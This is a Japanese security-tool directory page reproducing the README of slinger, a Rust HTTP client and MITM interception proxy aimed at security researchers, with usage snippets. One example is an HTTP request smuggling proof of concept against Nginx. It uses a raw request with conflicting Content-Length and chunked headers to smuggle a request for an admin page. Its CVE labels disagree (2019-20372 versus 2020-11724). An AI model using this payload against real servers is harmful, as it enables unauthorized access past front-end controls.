Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
slinger — セキュリティ研究者向けに特化して開発されたHTTPクライアント | Kitploit
ツール/GitHubGitHub/emo-crab/slinger
脆弱性分析ウェブプロキシと傍受APIセキュリティテストウェブセキュリティペネトレーションテスト
GitHubemo-crab/slinger

slinger

セキュリティ研究者向けに特化して開発されたHTTPクライアント

リポジトリを見る
3022ヶ月前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
ウェブサイト

Contributors Forks Stargazers Issues MIT License crates io


ロゴ

slinger(投石器)

ハッカー向けに設計された Rust 用 HTTP クライアント。
ドキュメントを見る »

デモを見る · バグを報告 · 機能をリクエスト

プロジェクトについて

製品名スクリーンショット

Slinger は以下を含むワークスペースです:

slinger

ハッカー向けに設計された Rust 用の中核 HTTP クライアントライブラリ。

  • カスタマイズ可能なリダイレクトポリシー
  • http/https および socks5/socks5h プロキシ
  • Cookie ストア
  • raw ソケットリクエスト
  • TLS による HTTPS

slinger-mitm

Burp Suite に似た、透過的な HTTPS トラフィック傍受を備えた中間者 (MITM) プロキシ。

  • 改善された証明書管理を備えた自動 CA 証明書生成 (hudsucker に着想を得ています)
  • 高性能を実現する証明書キャッシュ
  • rustls バックエンドを使用した透過的な HTTPS 傍受
  • トラフィックの傍受と改変のインターフェース
  • ランダムなシリアル番号とクロックスキューの処理
  • slinger の Socket 実装を再利用
  • 最小限の外部依存関係

(トップへ戻る)

はじめに

slinger の使用 (HTTP クライアント)

この例ではいくつかのオプション機能を有効にしているため、Cargo.toml は次のようになります:

root@kitploit:~
[dependencies]
slinger = { version = "0.2.9", features = ["serde", "cookie", "charset", "tls", "rustls", "gzip"] }

そして、コードは次のようになります:

root@kitploit:~
#[tokio::main]
async fn main() -> Result<(), Box<dyn std::error::Error>> {
  let resp = slinger::get("https://httpbin.org/get").await?;
  println!("{:?}", resp.text());
  Ok(())
}

slinger-mitm の使用 (MITM プロキシ)

Cargo.toml に追加します:

root@kitploit:~
[dependencies]
slinger-mitm = { version = "0.2.9" }
tokio = { version = "1", features = ["full"] }

コード例:

root@kitploit:~
use slinger_mitm::{MitmConfig, MitmProxy, Interceptor};
use std::sync::Arc;

#[tokio::main]
async fn main() -> Result<(), Box<dyn std::error::Error>> {
    let config = MitmConfig::default();
    let proxy = MitmProxy::new(config).await?;
    
    // Add logging interceptor
    let handler = proxy.interceptor_handler();
    let mut h = handler.write().await;
    h.add_request_interceptor(Arc::new(Interceptor::logging()));
    drop(h);
    
    proxy.start("127.0.0.1:8080").await?;
    Ok(())
}

MITM プロキシの使用方法の詳細は、slinger-mitm/README.md を参照してください。

機能

Slinger は以下のオプション機能をサポートしています:

  • tls - 基本 TLS 機能 (特定のバックエンドなしで TLS 型とインターフェースを有効にします)
  • rustls - Rustls を使用した HTTPS サポート (tls が必要、純粋な Rust 実装)
  • http2 - HTTP/2 プロトコルサポート (TLS バックエンドが必要)
  • cookie - Cookie 処理サポート
  • charset - 文字エンコーディングサポート
  • serde - シリアライズ/デシリアライズサポート
  • gzip - Gzip 圧縮サポート
  • schema - JSON Schema サポート

TLS バックエンドの選択

TLS を使用するには、次のことを行う必要があります:

  1. tls 機能を有効にする
  2. rustls バックエンドを選択するか、カスタム TLS コネクタを提供する

機能の組み合わせ例:

root@kitploit:~
# Using rustls backend
slinger = { version = "0.2.8", features = ["tls", "rustls"] }

# Using custom TLS backend (requires implementing CustomTlsConnector)
slinger = { version = "0.2.8", features = ["tls"] }

カスタム TLS バックエンド (例: native-tls, OpenSSL)

native-tls、OpenSSL、またはその他の TLS ライブラリを使用したい場合は、カスタム TLS コネクタを実装できます。 native-tls を統合する完全な例については、native_tls_example.rs を参照してください。

例

  • Nginx - HTTP スマグリング CVE-2019-20372
root@kitploit:~
use std::io::BufRead;
use slinger::{ClientBuilder, HTTPRecord};

/// CVE-2020-11724
/// when you're using BurpSuite proxy need **disabled** "set **Connection** header on incoming request"
const RAW: &[u8] = b"GET /test1 HTTP/1.1
Host: 192.168.83.196:8081
Content-Length: 42
Transfer-Encoding: chunked

0

GET /test1 HTTP/1.1
Host: 192.168.83.196:8081
X: GET http://192.168.83.1:8080/admin.jsp HTTP/1.0

";
#[tokio::main]
async fn main() -> Result<(), Box<dyn std::error::Error>> {
  // let proxy = slinger::Proxy::parse("http://127.0.0.1:8080").unwrap();
  let client = ClientBuilder::default().build().unwrap();
  let mut raw = Vec::new();
  // replace \n to \r\n
  for line in RAW.lines() {
    match line {
      Ok(l) => {
        raw.extend(l.as_bytes());
        raw.extend(b"\r\n")
      }
      Err(err) => {
        println!("{:?}", err);
      }
    }
  }
  let resp = client.raw("http://127.0.0.1:9015/", raw, true).send().await?;
  let record = resp.extensions().get::<Vec<HTTPRecord>>().unwrap();
  println!("{:?}", record);
  Ok(())
}

より多くの例については、サンプル を参照してください。

(トップへ戻る)

コントリビューション

コントリビューションは、オープンソースコミュニティを学び、刺激し、創造するための素晴らしい場所にしているものです。どんなコントリビューションも大いに感謝されます。

これをより良くする提案があれば、リポジトリをフォークしてプルリクエストを作成してください。「enhancement」タグを付けてイシューを開くだけでも構いません。 プロジェクトにスターを付けるのを忘れないでください! ありがとうございます!

  1. プロジェクトをフォークする
  2. フィーチャーブランチを作成する (git checkout -b feature/AmazingFeature)
  3. 変更をコミットする (git commit -m 'Add some AmazingFeature')
  4. ブランチにプッシュする (git push origin feature/AmazingFeature)
  5. プルリクエストを開く

(トップへ戻る)

ライセンス

GPL-3.0-only ライセンスの下で配布されています。詳細は LICENSE を参照してください。

(トップへ戻る)

連絡先

あなたの名前 - @Kali_Team - [email protected]

プロジェクトリンク: https://github.com/emo-crab/slinger

(トップへ戻る)

謝辞

  • reqwest

(トップへ戻る)

ツールをダウンロード